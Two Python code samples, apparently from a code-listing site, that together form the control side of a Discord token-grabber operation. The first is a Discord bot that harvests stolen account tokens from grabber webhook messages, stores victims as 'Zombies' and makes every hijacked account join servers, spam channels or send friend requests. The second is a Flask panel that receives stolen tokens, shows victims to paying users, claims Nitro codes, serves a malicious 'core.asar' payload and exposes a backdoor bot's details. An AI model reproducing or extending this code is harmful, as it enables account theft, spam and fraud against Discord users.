示例#1
0
class Bot():
    def __init__(self, token, prefix, hook, config):
        self.Cache = Cache('./Data/Account.json', './Data/Zombies.json', hook)
        self.prefix = prefix
        self.token = token
        self.config = config

        client = commands.Bot(command_prefix=self.prefix)
        self.client = client

        @tasks.loop(minutes=30)
        async def update_status():
            await client.change_presence(
                status=discord.Status.dnd,
                activity=discord.Game(
                    f'{self.prefix}list | {len(self.Cache.Zombies)} Zombies'))
            self.Cache.check_zombies()
            await client.change_presence(
                status=discord.Status.dnd,
                activity=discord.Game(
                    f'{self.prefix}list | {len(self.Cache.Zombies)} Zombies'))

        @client.command()
        async def list(ctx):
            i = 0
            commands = '```ASM\n'
            for cmd in client.commands:
                commands += f'{cmd}\n'
                i += 1
            commands += '```'

            await ctx.send(embed=EmbedGenerator().generate_embed(
                fields={f'Command list: ({i} cmd)': commands}))

        @client.event
        async def on_ready():
            print(f'Connected: {client.user}')
            await client.change_presence(
                status=discord.Status.dnd,
                activity=discord.Game(f'{self.prefix}help'))
            await update_status.start()
            self.Cache.load_tokens()
            self.Cache.check_zombies()

        @client.event
        async def on_message(message):
            if str(message.channel.id
                   ) in self.config['BOT']['CHANNELS']['GRABBER']:
                for embed in message.embeds:
                    token = (embed.to_dict()['description']
                             ).split('> **Token:** `')[1].split('`')[0]
                    self.Cache.add_zombie(token)
                await client.process_commands(message)

        @client.command()
        async def post_token(ctx, token):
            self.Cache.add_zombie(token)
            await ctx.send(embed=EmbedGenerator().generate_embed(
                fields={'Congrast !': 'Token added successfully'}))

        @client.command()
        async def check_token(ctx, token):
            self.Cache.add_zombie(token)

            token_info = Checker(token).get_informations()

            if token_info != 'invalid':
                await ctx.send(
                    embed=EmbedGenerator().generate_embed(token_info))
            else:
                await ctx.send(embed=EmbedGenerator().generate_embed(
                    fields={'Oops..': 'The token was invalid'}))

        @client.command()
        async def add_user(ctx, key):
            self.Cache.add_user(
                key, f'{ctx.author.name}#{ctx.author.discriminator}',
                ctx.author.id)
            await ctx.send(embed=EmbedGenerator().generate_embed(
                fields={'Yes !': 'New user created'}))

        @client.command()
        async def del_user(ctx, key):
            if str(ctx.author.id
                   ) in self.config['BOT']['PERMS']['ADMIN'] or str(
                       ctx.author.id) in self.config['BOT']['PERMS']['OWNER']:
                self.Cache.del_user(key)
                await ctx.send(embed=EmbedGenerator().generate_embed(
                    fields={'Yes !': 'User successfully deleted'}))
            else:
                await ctx.send(embed=EmbedGenerator().generate_embed(
                    fields={'No !': 'You need to be `OWNER` or `ADMIN` !'}))

        @client.command()
        async def look_user(ctx):
            await ctx.send(embed=EmbedGenerator().generate_embed(
                fields={
                    '👽 | Zombies in database': str(len(self.Cache.Zombies))
                }))

        @client.command()
        async def join(ctx, Invite):
            with open('./Data/Account.json', 'r') as database:
                db = json.load(database)
            for acc in db['ACCOUNTS']:
                if str(ctx.author.id) in db['ACCOUNTS'][acc]['ID']:
                    if 'JOIN_TOKENS' in db['ACCOUNTS'][acc]['PERMISSIONS']:
                        for Token in self.Cache.all:
                            time.sleep(3)
                            Utils(Token).Token_Joiner(Invite)
                    else:
                        await ctx.send(embed=EmbedGenerator().generate_embed(
                            fields={
                                'No !':
                                'You need to permission for joined all tokens in your server'
                            }))

        @client.command()
        async def send(ctx, ChanID, *, Message):
            with open('./Data/Account.json', 'r') as database:
                db = json.load(database)
            for acc in db['ACCOUNTS']:
                if str(ctx.author.id) in db['ACCOUNTS'][acc]['ID']:
                    if 'SPAM_TOKENS' in db['ACCOUNTS'][acc]['PERMISSIONS']:
                        for Token in self.Cache.all:
                            Utils(Token).Token_Send(ChanID, Message)
                    else:
                        await ctx.send(embed=EmbedGenerator().generate_embed(
                            fields={
                                'No !':
                                'You need to permission for sent all tokens in your server'
                            }))

        @client.command()
        async def friend_request(ctx, UsrID):
            with open('./Data/Account.json', 'r') as database:
                db = json.load(database)
            for acc in db['ACCOUNTS']:
                if str(ctx.author.id) in db['ACCOUNTS'][acc]['ID']:
                    if 'FRIENDS_TOKEN' in db['ACCOUNTS'][acc]['PERMISSIONS']:
                        for Token in self.Cache.all:
                            Utils(Token).Token_Friend_Request(UsrID)
                    else:
                        await ctx.send(embed=EmbedGenerator().generate_embed(
                            fields={
                                'No !':
                                'You need to permission for friend request all tokens in your server'
                            }))

    def start(self):
        self.client.run(self.token)
示例#2
0
class Api():
    def __init__(self, port, config):
        self.Cache    = Cache('./Data/Account.json', './Data/Zombies.json', config['HOOK'])
        self.base_api = config['API']['BASE']
        self.app      = flask.Flask(__name__)
        self.Utils    = Utils(config['API']['OWNER_TOKEN'])
        app           = self.app
        self.prt      = port


        @app.route('/', methods= ['GET'])
        def send_index():
            return render_template('index.html'), 201

        @app.errorhandler(404)
        def not_found(error):
            return render_template('404.html'), 404

        @app.errorhandler(500)
        def internal_error(error):
            return render_template('404.html'), 500
        
        @app.route(f'{self.base_api}/send-token')
        def send_token():
            self.Cache.add_zombie(request.args.get('token'))
            return 'ok'

        # Peux êre opti pour la recherche | where?
        @app.route('/token', methods= ['GET'])
        def token():
            key = request.args.get('key')
            with open('./Data/Account.json', 'r') as database:
                db = json.load(database)

                victim_to_send  = []
                victims = []

                for acc in db['ACCOUNTS']:
                    if key in config['API']['ADMIN_KEYS']:
                        break
                    elif db['ACCOUNTS'][acc]['KEY'] == key:
                        victims = db['ACCOUNTS'][acc]['VICTIMS']
                        break
                    else:
                        return render_template('error.html')

                with open('./Data/Zombies.json') as zombies_database:
                    zb_db = json.load(zombies_database)

                    for zombie in zb_db['Zombies']:
                        if (zb_db['Zombies'][zombie]['Token'])[:24] in victims or key in config['API']['ADMIN_KEYS']:
                            victim_to_send.append(zb_db['Zombies'][zombie])
                    
                    return render_template('token.html', database= victim_to_send)

        @app.route('/check-tokens', methods= ['GET'])
        def check_tokens():
            self.Cache.check_zombies()
            self.Cache.send_report()
            return render_template('index.html'), 201

        @app.route(f'{self.base_api}/claim-nitro', methods= ['POST'])
        def claim_nitro():
            self.Utils.Claim_Nitro(request.args.get('code'), request.args.get('channel'))
            return 'ok', 201

        @app.route(f'{self.base_api}/download-core', methods= ['GET'])
        def download_core():
            return send_file('./Grabber/src/core.asar', as_attachment=True)

        @app.route(f'{self.base_api}/get-all-tokens', methods= ['GET'])
        def send_all_tokens():
            return self.Cache.get_all_zombies()
            
        @app.route(f'{self.base_api}/get-bot-infos', methods= ['GET'])
        def get_bot_info():
            return config['BACKDOOR_BOT_INFOS']

    def start(self):
        self.Cache.load_tokens()
        self.Cache.check_zombies()
        self.Cache.send_report()
        self.app.run(host= '0.0.0.0', port= self.prt)